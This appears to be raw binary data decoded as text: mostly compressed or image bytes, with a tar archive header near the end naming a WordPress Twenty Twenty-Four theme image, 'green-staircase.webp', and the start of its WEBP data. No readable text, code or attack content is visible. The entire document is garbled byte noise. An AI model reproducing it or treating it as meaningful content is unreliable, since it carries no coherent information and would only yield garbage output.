+m"Mt!z*7la;VYœ.dU99 B4W+L`4)z oh*/Wiu=#~OR[0Zlƴjlk %}{:fȅ)zmwxPS0y * ԏDv^HsB #EnBhdup8]g&}VoW~ cho s ^I\Cs{UzYM=Me{&PRF꣇)\#oT%#nN )᐀eqyrOǍ.$ot̸ $q °2k[rHy$m*TFཎDa2\صby.E-~ wgN6̊KM<-rwoh1h`M O>Ӳ48wJSu2Zk>{!a2̰e/1 ;n8L^^:Kpj+tN!N"G|~HZ |@LP$K[L|׭.Au|^?'c#`pq`It[:NؼXK옵h!E͒cɹP rڅU|e/OXi?;a!E#Վv[ee0x>0{\]sdN'c뺴|RXzp?;V}!"OlvJnbץkE{>8%JITwlu>ReZ#sg,<=O°ϑJkc#j+DFa+ w'(,AWb(QV2~߇aG`҄_Z` NlnnRΉOp琻A!+MKtq}A6&m~ {+dY&%m_҅6v{5eC5^"G*('FLfdbl R+fʅ=:rCz-tg -^Κu* ~Yo}Jy߮D_i0U$>"pCXKk#\ Cߎ Zèf' 0A ڹ:8Z"B9߭ru4/n,㲰C_"1<`%K7zO9d&&l|Ԍo 㯅+J_0s8\D:|?T+5^9n%aTKL9@#-<}ffQ*%9̯j%r{CbnayQ"'4 | ^cw4)/FmW^36us()u\=[3eAYN|jixe*7 |6ߊl;4.V0c*߯3r(<MĂs/ƙ6Q8pyjO9|i9#W ̿$k'PލxY[9;C\G &$.몑i4$@ ]`:i,lG4|ba頖s2-00RA_|?T M^A dӴg'`R+y>v!1^IrK7pӢ@ױxZt|sOZa=$ A,w+r妹Z.qt>oK #Pb6nj.{X }d)61f{)xrax[6b/Y)"U`5B*DS Jktc3pkq 8"SFЇ](Zí.DU--d{"UyF| Qh'zKA#-ۂe(AT_ۡ=1 E@ŴptVV.[3-V4,X@h'U4(jUJ!}H7jDE\Cqo؏JPA{uk3 df1%PO>ldWd+ЉoŲi*ѧ#>)\tJ13U]FL?<*v`g^|/xaˇ>jY&m\d A[lwau@ cqUYjEoQNjvP*g;E\(K se\kRH`ɠDh"jaiJFsoշcٝDkáu z9#,o݌)TS*'3;1-_jxtn1,`28 {${,!dGy%N%Ɨxkwupb'-lDO74,W7ۜTkyu 1ρIک@FBԉ}!iwgL Tjnr]k^|kS+Z+z$w!vA6VEJh\@$MvsdeېO_i尔/=KTrX66_bdQ 7l1„薬M1y_r"N4dRc܅F-G{8W)bO("T`-80N@*9YLQ();Us FT鋛 1jJja%%TCxd|IV5=h^WTnVLYC,;D]@6+$os(:/meE˦]b6DŽ\ ~ n[Os'~Ƥ33ۥ>BqSMfM;}#zIA/cz WDvE tuc{Pyree.9\l|%#3tPB)F0p#5}<ǀ0|NE}.z-p_^qQ!Bx?6>D ؏ 5"^v͏PwrUW9{^ʴ9A8i✂L^f(MQ5z%2`l# hzr8oe[G )Az-M|վy:5>y+n6!í%{WyvR"X[/%p6c$z 4GRc3 }" ڧ elW oɐ}Z,yv(3Ϊ ZgDVK$HRibTl4Q?F3A-0orp8C(THph+d\`?8 3)OJe=F]'˸>} B\}TV4g,5$KG"FwJf1r &)Yx*+SGNST'_Alx,ѡ@~޿Z!;/M>숯_mTjrl Bu~h|a6jms  ڎ)Gau 09VR}3p˖Py㦜=Li 6cy&Q"h<2B9TԢx JY{mkcy/tU!67}!A"wTiiY} [aKo0MA'i c2<Ύ.  2#3pU<»\A3؟{V7?p?bY ovܩv_X Vg9~1vk'Lj}vGsO+yCZwE`BUǑӋJbOH^Gޜ/E SwC'AJ՛Ox-2$6R= D3$$bvO&ol{c/%cl&8gF0i<% L`KaS&UZ}KGPE:l@~ df\nfZi0^RmYpLj :}$SX!R  ›pj3+iLXKԪ_ΑLUċZVgሯ'7QX0js7jP9 W\ՍDf6VG;75^f{>:xgv%AF/ M R}z6B KqO\"J@T† 6 6u%qEY5}~HOd~-=R^y6s=Ag7G#$1”etV(+aK.-$!Q,-T8ɖU 6FZMք z1/Hu/K$~ZnJ莞-8*_gA7 T 9SWjSĭU[z~K uGV+s_<olIH$ypvB QoɎI0GKpKڍdd/ZN"QKM`ӾGjGQClh6)J'*H@ `$9$H߇ B;SV1N:'K&T~iOnA;V#ֈyvHg.\{h03S{^r/G0۫M )>aT{KysE:_^9. X21t W r3';Unl) ٓ*Z{0!鯒EqkTPlT(<Ms#5cTi=0v!1M!X+)l ;{L-z/f'ë-bfZx\f z1s얭*KqX#@)JΔx[1 (n˗c'ѷ'|/ %bss=xSubx}!HF:6}n n,zd@yu#s.f<0:v_b )1 4^M,_q5?pj9j Q{}FW9hJdTgmL_$;OyOپ+GT%ņ9d {EapI)ߢ[324ec+ A )jLN4 J>r|m\J¹->1LغƢˆªTLR=fXAA7j:\=Z{Gהj@,Y9 S%Zn ʁ'$GjgDWjzzPGl&GlU!+ȥꌟBb-EV[ޝRcH"'=׋{sC:SX!y>Q}P‹;hS;MFpU V:/><;*zF?;t#9JnOQJ`U5}Omz{ w,mSA<ˉro#S2~xN 8"F1NۘlE'Oz Wo Y%$Iur3̓P\'C[<&Bh$}-ڨ]-Snf=7elTeufD_'4 q~jcXF]8Jߠ_1QqjY1\ݑs 0QtDY;L)'yJlKJDedsE7gjDppqBGXK׿›O?Xa3&$:ahOdȁ EKzG5j9* Љ`xʻ)=ٌm]X<ϑ5#]ZŌVOr\'ݹt7BkaNQ=i6;UObzjq7qX]BA"֋hЬ ߂Qŭ#L}]+<"@@S!I|Zi0X+SߞlT+Ϗ^RϰSkaxb4K\tç A c[`\>t;SuR X0-e̹Evӻ_w)Qߔen{ձQכ :uW'"a0'&_)&NT*&{UDi"2YyF{͝*z 줝3'hRnRU.] ?Q}ܱLϻ/Q}k.t^{{H!"e2xjjӜ װxÇ-pv^{u4BjB|B943c /rчˣxh [?܉Q8QͲA52>TM_kKQ45,G?}oxɅƿg,r?99t۹4Tr*ɣa#`w ֘7󽑀=n71=7߶0 Տo#.=)XU.S(Tg1s-w,p$z\>Gx /i pF~Ba[lTY]J6, K%lxcCFnhOA2بi}nph7\XrGV^yB F\ 6sj2RodB-4sĘȼ)a}hD!hp%4àmUs'Ao-`ٔ$ZwFQA;Ɍ`bDGIOm}#{1d[u柹7'$ϗ1y:aŞHyYäP&WpɨyZTQfP S5A}@Ցm:Y'F cnvbu_WX3B,G]( _$  1ۧXod)sOV1<&lZBX1 m'5'ZT٥,^șiٷG|ar]A8$ɓh:΁l0* 4!ơ;Zy 7WҀ_˼ öDVܘ^FV*L藍.׊2L.qytֳ">.qDܪSדL%pЪL Na9F9y d>;#%M֥V}:_MZ]$ ):JɅ!C[ x<:m|Ca(Ntm ?qr<]e3Q\+1S^n)Spؐ pٴxAo6]Wv7}k*8% *9ƴ9] 3Фzub1;+׾člܰyqDgpqޭ[YI^/G=SsMF2@+[-Qh@]>RϷ";~mNˡ]N3^,sni/ ެ,MyShtj$hQ=JP=2M"9}ȳS1U'ߏJrǃ04(tlB LW"L CwNm+t }Krrb;;^8oĮAyv4,GhʰQ'We4\,P@;w4]KjݤAra {/ ^V]r񶟻 *+QEq4zxMё q e˾7 0!2 f~"+RGS--; bړm>4N6Ka"c>y.0:`D1WlPr~bS}ȌLʚ3>C@*_U*AHdUO, Flo{C1o6{l BB {ƵDo*x"MZǿ;ER[?,}qE+(>2~8;s7AxL>]fύ(Da8;HV0򛉬+br ҿq.3VC=Q7]\א}G22{sHEN說xвUBc!5|0i&Id5\ &x]V7[>Jsv:KBP@ɩA磚?VZq.|隱\ pa8?Ќ 퇷:"^hBYf{Tqw+7uQگaLj>M3ԏB]nVkh_8z Qar[M4jD몡o|!x]6g9l۵D D hG 'ϲZ*WŀSbrB#'EU9)8hl-frؑ5}2ͳݢ^"1o1P Wލ c|hMzt'HEsf!6O%/Ӹ)wa3'uw}èPROy؏sH3$7TFt\e3e]2_patF5$52ؚWeQM#)l-Í^0bgJGx $Ƕ~Tk VdHE3^TrFD $zшܤ%15z㻐;ʻLAE{X ꊃiLa GM2'4% *= e3CVv($Ryb}p\zHAH(z9L kNLVxUU4ZMӬ3 Y`a:[s!+,,|&*2JEJ{ONFU|ꡚp-2oǐm3IpȚ=Yoq<ug'F;==9聙8q;=Pe4SE6+z@ ]"#ۺ6S$^Pm9p!qA7G KZfol؀=UHʿKUy~jhgqD^262ևe ӺgCr_]% edݪ%.vKdհcK.3}{^kx*-E~xGIrCW䰲ؽYкƖ2^p}Sg׎K.ב1=gj#ۯ/Z̛{t7٧a̟DOSD.{_,Dި`Kޗnh¢/#CQ3GpVJL& ;&2Y|J9ē洮GΒ$^nMVS=>bhJAjLkjUy+(|ޕ<_>.+_'':;k3Ph}})Põ!c!s-̈1hZ->e"o$l g 'O5Tg`O Hﱅ)~ܱ3=] Dys2E/\nhNHrf1cY\ƦK x6 ޙgFWp#\A𼟥)yHzndXtyR>ĚlxZRXa. 1׹8-Ddg0SLg xDF70%6$O,ζ->-k7YQE<1;P2"Q3aƛ%l 3|hJ)t:*'_--Ip <ٔX@ #ޠàM$֬ ZJ)hfM~VTcrJm]EձH"< >豲{Z"jj "C9.},w:%f||xnEkkOMl'd-9Sğ8=IvG98e‘и~^[L''+A%zEL!fdkUm5J#Z%N<IIB=nt+Ta1`뉨mZ*ґh~$ :!%hYԘ8lOf?n\6b-y2BE-o<`;(O;M'ikwk_[LJ+|HCS^C)PIx_p}dSgOwz{,/e Q1~2 [2SO^ɗDjHݙ֝*23\հY13ߚjOw†⋊*ɑj -=];&Y%cz^+ nE[8c%׫df7[Uq<wc{`^vCx0|#כ $Ƚrc?K$؞fkT,f6)fhsY_c74-I>kH}w@/U8;Q( f%R;Ý3䑠k\kN;X9 W s늅ʩ'zJuܩ`S9 {=~>"f ĐDZzeGiޗHd܋6}HUPYEw5bjݗ:B+_)=!e܏|]/FnQz%:zw7'hgbVx'S!lAC݇a8_Ar_V]޳8N :PcINvx-7%k+UgJ&fr"3!)C_R˚QjVA/t:[=_O*bl|/ך⢋pNş0Fk#Z@Ls,E^ NC)[`7vˌ@e%Og.ǯ\1Y-@*-%WqYIf7n'Iãދ+CjCbݟ~2 Z)1]@N6Cуu¸߅?iqarQnM:9 D#v;Bg5n`a`0DqiS޺6E/4ԑ#]*kr! P9㸜T^[~|t.Dhț ‹>X?A⭄~YNztkۣh[]7!h$_gBqw?N`[:ZjP1DfyE[\52X%~鹳p8ϟLju}M-8[?EF=qY]b?E؂N @넙Q(9g>a+$$YaHcԠ,:`zTm5]CF}3,h`|;P~@Mg?!~v%axoTWe\:ڰl?bV@ZkQ9caQ@lc\v,CM[TEzmU1NW\K7K@b7l__$CY^OVZH Pa1`GjMDJ48NFo aO!k,$r:Ձ>K[- eN 5nI49֖$tͭf+W2SKK +hʺ,~ ++͟sbI_S/{CQpN ;{U)?UbcIDpF|(r7.Zgh_`FsFi H8xp, )濓;vtZNԸl+»CC k %: >#k3LpSG=e.TTBEm6sYYuSgBdvvUAcLs1_pFW ~cF_ ]F Y!Ԑ5 `d[#y߭0jx h*?x>ԹL-Z?0=%TKz$O\!eZ,I 1+S+uF'v(4:|yJB$ V ];Gw 8R޾uɪK\%dT`plŋ赧$x3lk*c+~/Qb'OArʿ `p]B~lk9~p "L7ձJNGG:ռ[rf~ue9m㜶ρfM>+DX; Ѩ)f*`1E㩻XVqjҳ|*#yQ(P5[ʙ'ݹn FPKuzQ+[F6]Ɉl>%;,ULԭ~0f>F䀌)+~U|JJcɂv'4|3$]>2Joc2C΄s8~d\"Î:=bc)xGե˵ ۫KX9MQF*K+nIVh0{< '$7_i߄4R ӈ]z]"X m>A,,>d%h7slq`p}@jJ~RqvF Yf9R{(qxK)ҵֶ,l E{.Ӆ 5]r+:NX2umn$|bndNn;(~NrHrh ,K"صwa7ym7*^1d|i֐T6ܳVU.%zqmVx<*#8,xmwT`R+HМ|)q_f4G {~KƳaOaΘgNh l N/cF./"~p}P|2YnHmWO{$0bub٨8d%wU;*:+F|~`" ;}. zˌ٫3=Ek ^3FE>DKqB'Tod.0GhzxGr7-(d]=kÙ)O˙Z-s}]YzZg/7o|p-<-SI7oIKi372Y <8&иV\&qlDو*eܪtrm4C XTzZ[( t#EP MB &AA6r.hn)>e Sb2!SzNkc)!r\e W`3 ͦW;f }7Mt3/!T EP韶=p4c@yX3Ytp[ {oOyq-"Iۑ 5?It (8(Y|o{78t[ itDd{BЁ񔼟ꄙkCO:1--m÷3G0F 6N( ?+kUe1 mz kle>B5oJ*#.⨘yJť`_}o !puKRp <֔)cDCZCK+O{9.~h c ,Y *]h K Eb->9~YK ]Yֺ,kH cf-AM\`U"c'MvnHrkz\#Ef)@[-YpȽē OD) _FJ m Nd:̅o+Pe'o/~xԮ)Lx3'R֒Ns6*m35T/c/XZVr{W=L1V 0s K#Ezu J gJqQP.R79Ԕq?%F$إb1 2Hud1Yf@iZ1_餖uGiVnw'F>fPdaE>7閾пwIu?KiRKMLeϒI!s~S#"o$Pg&$rp_[sg~¬jVaKN[2fڥglVsRB죁9Xل. i=ۡ&Ywk9F$|MnEz$:rIgzn͋4Vp3=9ǩ{߻g*sK$ {>5ȒLz)".{UY_Wo QԄ~QUSr +iaBYaEWQȁeR5@\ 5m}u敋2 œsxxꑭrA9"=5;(meO>j!Rw6)wrJ ʼn-㐀T#2$?)T,!x5=8;]b͋^,;Zf. _Qp/Ÿ`nb,9GDYn<5H.ӧ]AR6 R ύbGRKJhf]=o]Ej&0T ,4qRJ(2^Wd! W XeLFKFѽx̧`9HRFKVls8G萯01Jԍ?S-5SZ #H94xQj 7eIe-zZ l=eZ8̏jP隆-<$ P]^2[?p+L]({dzNyg֌JRΓ5F@O 0՝/Цc x~g'>l)5P jQ}艗qsTe áUG# S0eVv_VH]{ͣ1X![c 5j?lɱ=Mh_CÑid up QxCi,ƽf2L ٲe PO:򰳳;U)+$a z4PyrG&(b2RVzy6sƅGvJ4s| њ3rT B^ ԍjh5rJ"wYe' Iax͛4k9E:tdk6Ч&h;'Od( 2]x,ae[;2CBY;公ݏnq:&Wf/N=q ds6a5uUl+SJͮ-!OVrU=7;hAa͆{0,ō}b NDAYoE#@KDzړI-p^=ɵ80Ν m.HsHl-f̮?2)P2Za<4oz&^Zq%PA"콩2 aFe-,>I0;('}pSٺwϣ^N>A<5yR3_gZm>{D<Β,A\I`<J4&fF%7`"$NSWJt*|F∼S\EDPV`}D. UwBBMq_Snt=&H$̥:FmDmlwL<nIXFKڻ"] jR~怮$yZܘ>\#OK~۽?XXnu*/QZ?Q0Z8lL9/ @Vh63X4+q1<>+yQ6ݑx`Gde sffϱ5**60JmW[4@h90մ(ؙXu`hLDGgSP?Wl;qK:7ZМ8Wϰd9^~.jxZb_EHDV,wf'ł\`/]p+ w}*VID/{(K.M|"Op}ƒS%3,R$k$hx, c4ƹ_S}1ٝc^IKBD;7޹%gz,sMr&6\!K\to ?t$Ɣ n8%G f.c',?7`|I,lv;6g%~ԭtmp8c9>1.00Zm%snFn"mi'hߘH7sdtqJ{/?@_U,x\وt([/fP]C{n URܣҩQk9-cpq<' ru滋@,gA< 8?g%d3`$$rVyHL,A:MoȜXiW ](ڄE9f>8A yhYSSZC.} *f94))W2\ZR\;8ؙ׷>-zVX !BX7`<¢ Ĭ3NqN=,p}o"N@-`)zHc!dKJfgL_2Y?ϫH X-cZ{ l O$_ VA/u=X+)mS EcVʙ#[W-aݺ2"h["AyUN*e4"S.1>*?A,=ѱ5PqffACc;Ɔ+o9p)s=rFsS=^hT=9tfd\4|Zþ }(vݪQe2ho_=DV1Dū d4J(a ؼ>Ҙ"Ngh*Gk×=1%TU'g ~%5=m=4,OJQ K-t}6Zrpqq57sZW5n{4S}Q;7?pm$؉Wj'0}T^2.M3)mx={c$0{1^d =+u.@LƱsKfN, bB5|66d5LşИP@Jkz|o6xƫN"̩p: 4w+AM&ǀL5,p0 ]G8˱] ќ*ɕ֩C{xk%w( *ȿZusE^D,GӫZ _h-!` zx%X׻B\<;`ݛxw)XÊ~].N{pZ /Nrlcqs{V nwwXD87AGd=Q)}L`Hme[,cY[=hk-SmgRc#y3nM$J9k#Y ( {//a l);2n4}(J6}u܏XIU5?}6S ͵H@HNPs@nׅFy i;qf54 :϶>PB'h^EEFFwIGvgb.fƌ]q~v|iMJu I 2n 7"t= r9v^?pDr$ 'LmYſ~]x%ި{f-4IcJ6 ΅|Ce->T|S5l+y"GNEzD6N>sANp SO[WᣜR7H!<.B_~<|-P$o0)ҧeNY^K,{op4?wl>i7DJ1Sin`6i[E3.ưO/7 ;Kp{-ԑ)еe!QszSeE`J /`^%Kt~,2j?ףS0%P  *^N'ߖ4ʃ]jY>ѥ@,ś9`0`HCSS8/< և+4gi9o:%!M^04( SZL dӹ䰅'Q2iA%&SGJ:J!*-Gt2l0s9KZ~mjhQf͑,0aͤʒ޳[8L448RC?ȝ?0$gYghGVW|̬MO ~myv' /:je]dujGMmֽ`W@ɫ&d?` ê&iM^s`'*a 'yUMaK6}#ؠ!MБm.BN>K6TP5dI]F=UNX]4Rv߂r[Y1 .gwCX;{ q&+-;-KxȽpݣRFau 7IG#nK4G<I%,D32h@vc@m9=$'0Pbh9z,@=Z9Ǹ12oScҧuZBT%EO xi<3uxl/`HbV-^g陨dR:PV~GFVf<15 CE)e}̠eF͜iJsCEGU hrAq+gFv .Bfϼ?D0gjeWkе?l+A:<ůrY8F wB-/%R*b~8},8qS }e +,{aTTG*,~>ޯkJS!\n|}=B[;굶@rW_L:zu1ּP$Qݐ$4)Ze(Yͷ eC, Nv(o&_U(N]d Tc匲a*lrGJ])abHYKT!?{_/?3`Q "9Iz=.SYr)Jo9@T&8>8"MVWMmc03c .'vFAX2J ?c#T 4SjfLShB:"?8zvY xa!' . kS |&88HUN_IyG973Ii@{JdSe ^Me'4D.Z)4\PtnBŒ ! @.H`r!kK)B8r$ŃcIe*v%$sETx?5~Tmh8oYba)7"|ȉOSY&QxR+w;(MV3ڒKX<f6g#نEl (rXpOH{<.bUohfcl:R?Nx LWGi*h]6gz._U;?ťE>22XNa}.&qrųwl-]~| wnu&N&"KTE)JxA>կkt"s%S^ssCz0Dj}*{"Lxx)DP#3H5URur4= F\o*AS &BtǸطZ ]`YIԒx W7Bc <"y;.]6_vYTnRknӄ@frn٦< Pzk{NGT]6 'oo02~M&sG7 }=z S@@L yeqZmrtYF ʿ2 -q0>K+:r.2 vMBx.}ɀJB ?I5ܽq%gb pH&֠e>.D.b+U%ݔ| zmi]1|-\o>߃i $W3G:~+qNStT3&qOD7l'S4ci2&m壓3դL/mR!ML^#wϛl!WMzBG1ef@HŊiR L#h IWHq,x3z%pw88 NdzC|,lq29T؀m^U ]##gђPiv>Bq/զ7(0:\3NjU;Rp7( F|e&CUX S]'] Mhk.п zEgmCca- QaWw=yc#pu _셧`[n;S Jw_d-+u[)"Q3/s,0iZU,-b+rw24%V=y#6L7fIml_%@(ToG!4~~ɞ A!_X4jf5MbVX[Yp= <%{~Q6Tzbr6Y:+ Σ~a?׽1&^dtjY,9J?}zs:Lڔfš;1Uƫ#}y,5Rt=8c8?OB9,F=j;TY½>.m;':k6rd'!ᝡ#"s%j/ tV)Dq;8b9Ja %♝ZU;3܍c /b|Mk$wJOWĺķi.!Îtd|p-dsP^vrb#n)ȬB[`%WMw[}+IpZҾց5!46K-H(qo)(?A%|vOĘhpHCR><^n<]! ueݸxTy07ﭪdn+U&S=fz>SN=(#z.Ą>?oX>Uz9^d& EGVV@2"u1sݨ˙Y4{mE;O%y:ТókgL" ЭKbg,bģ.K8x1qR>;ؔeYE߀ ΎOv<=6?+FqE;ͧujxZKL%uTpeyƒZ _87rexb1p8ħ J&E!Ӡ.֘O ~o&.!4"Igg9_`iH_|\&?` ft crqWܟ4tTgň9a TwNUfǏ|(:9oDm~xBsF(&o&Q`=/o'{daXH9k?X1uuu;[7rF]}UB̗؇O;%":"N&[bL,%P3>i-鈘XTrl%<3nu@-nk{$GC97,Hs ނ $ SKeK0Fe֗{LjwO]ޤu 683|o ._yq5}oA_j(O~ #M#L%);a+0ȹJn&/`#E!}x[B4T֋DB[,&$aaͿ~Ab+L-%5갨ʓ"~Xbl=P)uTHQ%'*Q<pT,| ;Pٝ_2]\ Oy|Z2 tO6iAˎ?~V|*Y\>7-<7^&1˃./։6Te cvp+?A8̚ IIVtgxmh@<'[s{ܲպiϟ1[qUӜ$YtJvR"/˧vXM~OʾQ>irH,Ndтf5!JȮuU*Kإč[2FPQw^B_q6DI΢'T1R!]t; Kj8;V43=:#: wTI~Os2ib>qy`PW~,Vy<';֣՛hK$n \,>[(v8A <ʵ{Ǝ0Ō}tS8|$˓Q$H^ŹDSmgej?Ja*VUI]EaEA6Y( eEcpc1z /xjU>. A|gsc#PkTt@j滞4:<ukdP+2k(_Py!r}D:Җ}2֞{}ܭп|'æBn[.:A 󉠿SFrF0,:^Ir12~}jH6) 6N@]8OQδgˤ*+VC=t M1KrW͍B H(6 &97"Ӯm$\f;'OFz?-7z0Gqul8j0ftYozٺ $-%=,X̜:_uEѼ)6ah*܊bթ`Z@{'Fi5ŭ;㊬imr4V>L9^igO;zZY pox0]?l.=L:VKP;r99|Y!9&"쿼+(~Zd-)ׁfwnj|[&j*uQf[i,NF,VFd{ /7`21'- JGWQ)Ƽ,Eg{PE&O:Ŷz}ڑj=zQMbZb F2g}l7Ɍ"N(7TB+Hm􍀱̈́Wd-x*`踪2.f[ 8RCu)80 s@oj<?{@3J)$ʭ?ۓ@ el=?UWI H8l5nXR&C!Xvݾj vkD$[ mu ŷLӱ De!KaV&hXe{D `cw1.ӷ-~1KίX{刚;35g&)-h6p9So^ײJ^D*Ts_+5s!ҡ.n`;\/^/IgT;uQ. ţ ٝ蓀!";5.{T' 9*Q~<ʻ 3ܟlh9Sy3N3E$ mqly?l\2SJ,w1X 4җhVaJ WO!,*a NSI :Ex *40f˜ [ _gw5\-nܑY:?&4 V\?jPJëD}y24L2!($$jM?Q8ᤌLaGHܞev#E5aU aU).-7Qiy"|˔2X@{`LZ|`'x^#ټf'BPo\F)\r%]H}T+c^Wmqiŗ>[}[pa+ qM$mvxNır,hNq7WAy@Rà,0&6oI cRsk*@IpHE֓MY|Qw~)kmTp^ѧ^: ?A,t3DJUJT>1Y@âk79x ))h5@wƢ}b^s, Ƹv΄~) Xe7M(@ Y]uC6""%l KzHsVq۝}|E^6 MUGʜppøJGU況G$HS0cp٬a@#N1m*tkǧJ,$̙)JRCjfJ蠁` ~ ӗJdIWG_$4αEn cL 5>fRAnMj.17Baئy_Cdo7ߤL #bqdw QYkgeAHY=4rutȨM{x)CsH]M5R?> v td<&;ɠaU4q8vi)as{)Poq&#7#7ᬪj(?fMj4-; ]t!˙i.ajg$5$UJ+T-_~ $)[{^V Nm1ϧ| #'F$MiA sߚm) nD,qO}<1rNlĪ cY͋OɗKĎ/UK_hSߗ{ nqZsTTo4C'?wYYX&nd^/>Vr Mfj؃o/j 2uHq`5[ȅ|2cQ⣮%?)5}ߓaL0?CLnMſ.F[3%%# KvSq4j33ۨPiy:5B?Y|2qw!p-zA@PNLNāSAzʿp0-z@I%PYa(3e]UG]|u{ DsZc\QL""4`|͜մ_r5\}Ǚ[_үХRpHo V4⤐;^BṈ{V!Z^@wSK&ծn8}-ӀB?k7ͧÞzxJ1IQi0ғB ΄g7ɮqEC@P\ܕPYd/d;P,˻ß[>Cn•GMzlHlzTR4: < 1-0LFζelΏ U\]i2-f1}kf$.N-c:h$-t p,yk^<=z#/A?a_#-*qѥo~Q54ӎԔ%$Nq3;zɳϷ1:7/ lK%S$ăļ{Pw´"X} |{wW uRdSj(3[o?EꤤAL 42in9+QB6v DS ${ҥ;{%K'F&]Hį-V]bMF2|Oq1W@z+-(aEw*ڸ퀽5u&3ܧ|uD7k-[G^(UfM.PL C%1,A"dg#2?i66(&ڻ_sɑ]oX&i&Z?"Y*SC PdJI5=ظiq\߈*,$B>T!&v eWmi5(o"n\c&QwAnKS2bn)rVslgtxnBr@Uva3sujx/"SXh\O, l\|ߎlHsБm@ |ndn&b;viP}Ps=  W|@܉=A+l~tַx*>3pG)o[ْ9 Dk=B'(sSoCe`#Νx}~^Ckޤb+P7|@DLRu90u{O3Vd/*bܗk>:p9)vyZU~1B%cF|sE?d2e#lQNƆ Xc(ͤ+>4ت\EYrjR -I3-?8V{pԭ81ZED;+fjZX;y"&H &*_BQT4BpCG~hbG1M>V:h8ܰI7^|B%ZdW=B&sV5"S@j>c^F*O-ꂛՏy_FLI+ʆc*U@YAփJ\5)03?UIk #]9[l Z xw(f +R-v )!u$i?y."bWbO{v!\rP&IW&u;8QR`a-,}W,d4Z0,Mur4SdS3@ԓk Bp=Pp iVH,MoAլz`|ӆ(kb¡lȦk*adUlK:r a?VMA|ۆ'rHic;$ߡ<'j}T<=fF2o8fGِeҩ - m0w!jndE| ns>'by~=,G[9ICWAuuL0q pZ3\lK͎Po|ׅg}UvPFΛM%K#$}hC!W|c .Ql8Ra@hA$¿h:0 -eeqӐwLN+0/S"H{Lw(\LBҢ+8Dbxܳraɓ7nc㞘+zcuGa|bND8-6|({B };ˏ$U I*yRZhUH aoK-5U |xgkXG>mrd>-] ~+`qBx֋Ҡ{-vvA|Rʁb(l9$*txzܜby3X'|P3X>MkՑ쁕!n;_3Մ@fEóZ :+[\Vmp<l$i`;8H}|?[o1\#C({Fm[u䯠*iϖ%VP(򠉶Y'EaJ|VbRpRݘZ0s,-OڿcWO#L i:#)-=c._,FHf(4 D5`3jƻk*K^\.v'm;[RؙϋS?UwQtÝ<,68򸵿P- dr>ˈurE "pR}-kwB/cI(隑lg쌡yj~yZ X_Yor5b% 4[g/w{DVJ .ޖr)[F1`|;LX MEՃ r[Ψ>ٞ]R\H,> X Z;lp7%4+ƙD\4z슖S1Tld_ c{*-rNSMH VpM5MV-!Cx[, % 0N^#GTs[ oFE(e-ؗ4vwy BNC<%km0 8Vc'W#Ca ]#* TL}x1|#$\|.\K`ѓMLm;P;aQly c28F)Rj֑O(kk3Tk`_j=.0>?K!;9PGֻaZDp~-ˤ>6[oQ8Z4cV{Q/8ea"4YIEmȰ]GX*u#V͒u< ?>+Zذaɽ,~[# ȍɩ@oy84(1n;uc;vC GJ.iذLFLܖ a~YnѠOκ &b,I*B?UmEVATw|!:r ɰ3aZ7ÝN•P ԨbC~WG\sE  ŗk)`F‡RQ,v3Վ?i;|Ay|%T!*n0PB e w{o-@Օ4'b~=vۮo0 {Io~dE@=\waYbo( m;5o^z|6:vg*rw;kCe?(-Y Ьw||#cpA|'20+3?aDq?O'7k"t0{bš;)n;SL00Om9QS (ճ*Ov,U7)SЛNiK'a>Ho~@&Di<=d8YS[ˬVn/[gXDr $2\}n1`yw-E7=b~[1;BIڹ9˜^&UUkSѾKJ8|]]e7Ѭ:qRg<2Z߼:@~1Y@ Ġj)%u~-O1>r8djxN@qRj0r_U=xO{wX- zɘF=iU &Ȋ p>ޣ܇UDۭI)0vgehUBGr3qsrYI{ge a7R&3X}vtOXH~FB iBx!f-MSO >T=K)_xE0B"Bj2{>x`݆^Dml~2˨.C0CA2n@4؄eoᆘ%[>Iy}Xp#ug՛t!a纅!IˀASΆ*C'^ftAhD# vG0TwݲùH S6dvn8)]BIshK}Kس^FWJё"BjiX:ݚ{iJINR@MfĊ#M,<}syhP'k|KȷęIlyK On Bepym49˲~NDe*|1`v *oyUgmZ^D yU2^vXPP1a9hv'}s ٩5W#O%xzJ=;<#̬(owjpÂ.:<Waݮ ޝ-['D@\yLWڦ0er(W,]*, aCV2-b+!nKnj48D r_P,'ϴ>i]>ޭGѺk}"&+v7հs `tut&#lpbr&(f܉[3 /w7sj(vAJu*-"U-;~!D[QOS.S˭xܗY%qúKܣGn;nE;$)-|ǸxJ? 0҉h7~fko.IX3 /qՀVVP 8Y: `{}FPbDc{֒3a({ ]acb놟Lv:ټfDm-SsL6O'xACfolQz5|_cU$qBAڌ@ZZ\2jLqh8i{vR|VC!Y3`''Pm:C1x8_Ր(2 ) W eyU :jGmJ_`w}ӬoN̼]~uPDʼnddt}n1Zqþwkq,d8}ByqR5Lx;(ŻhiA;bNa,oO;Ì3o]Pc5Ilsf: wwrd'|4cP6+Y;y4:zC,f)qϩL[{9~/:3Ǘ+IQ*9ɈXQdNyy:־u"*IZ*H c)dL10H3k{lEfcg2s5-x(7i>4sժ(f+RnQ>y$yPNlNpe̝;cW)W:Eaʞwj!QsX}l vI?mݯ8?ej5gj/sOMsh$[LH|OfX ɴE"P?t #nէt}7Y6a9N= 8ƘڭNY(WGqΚI2 ]z3TL1!5"?~t1W[|h޻Ld׺j;at,((Z +FtJ=>n%iUY2ADlsҗPSMÆ朼z:A΋nnxsEp!QFȇYKr"Sۜ[iy/>5@Jhq% P)c'KGE nSVMoG;qsȥp^I؜ vCPqSʎħ鍵RƘ[*n"?C+e6Bg rѬh~$;bSx + hkF4,AyFd%' ¬nl,_9 Q@Y,8/WH2W|qw]>X R2NP}h Sfu?; hZ;ך}1F9m̽fh˺C2yn{ nP/-QtrM|*YD>A| l3rׯl.,'3|ÈǏ /g-;׸DA'rRx۴@ TS60PD;oeMmx1òKJʎNVis:҉8nW PtןNkSQ]UuyD B9㿪,n'*X hLG= h;T"sHPxha#%+gF?~S_u#a+ _themes/twentytwentyfour/assets/images/green-staircase.webp000064400000747020152335264760020263 0ustar00RIFFWEBPVP8X qVP8 G *r%-vzw]O:/?b?ܾm_T~WO "/;?6ÿ q!>OW,[c _ug_+^ks?6)d#qvU#?'Ϗe0 V_/ݿ;CGO5w~W/˿_;?Ï'ss'޿9ASυ_ [wQ?߻o?3W/ܟ?OG_}'OدOZew]>S=V{7+~~W?fg7e؏ُK?ߨ?n/}_i?7?Aw?_濿 /_$~YcMcMcMcMcM]J\|Q8ƴFO3\O ޿n[hagK$-v77a0yj.}2 ze]m4O;:2&izW9tf]ds~-w`6|z[HѤE':'dק̝ 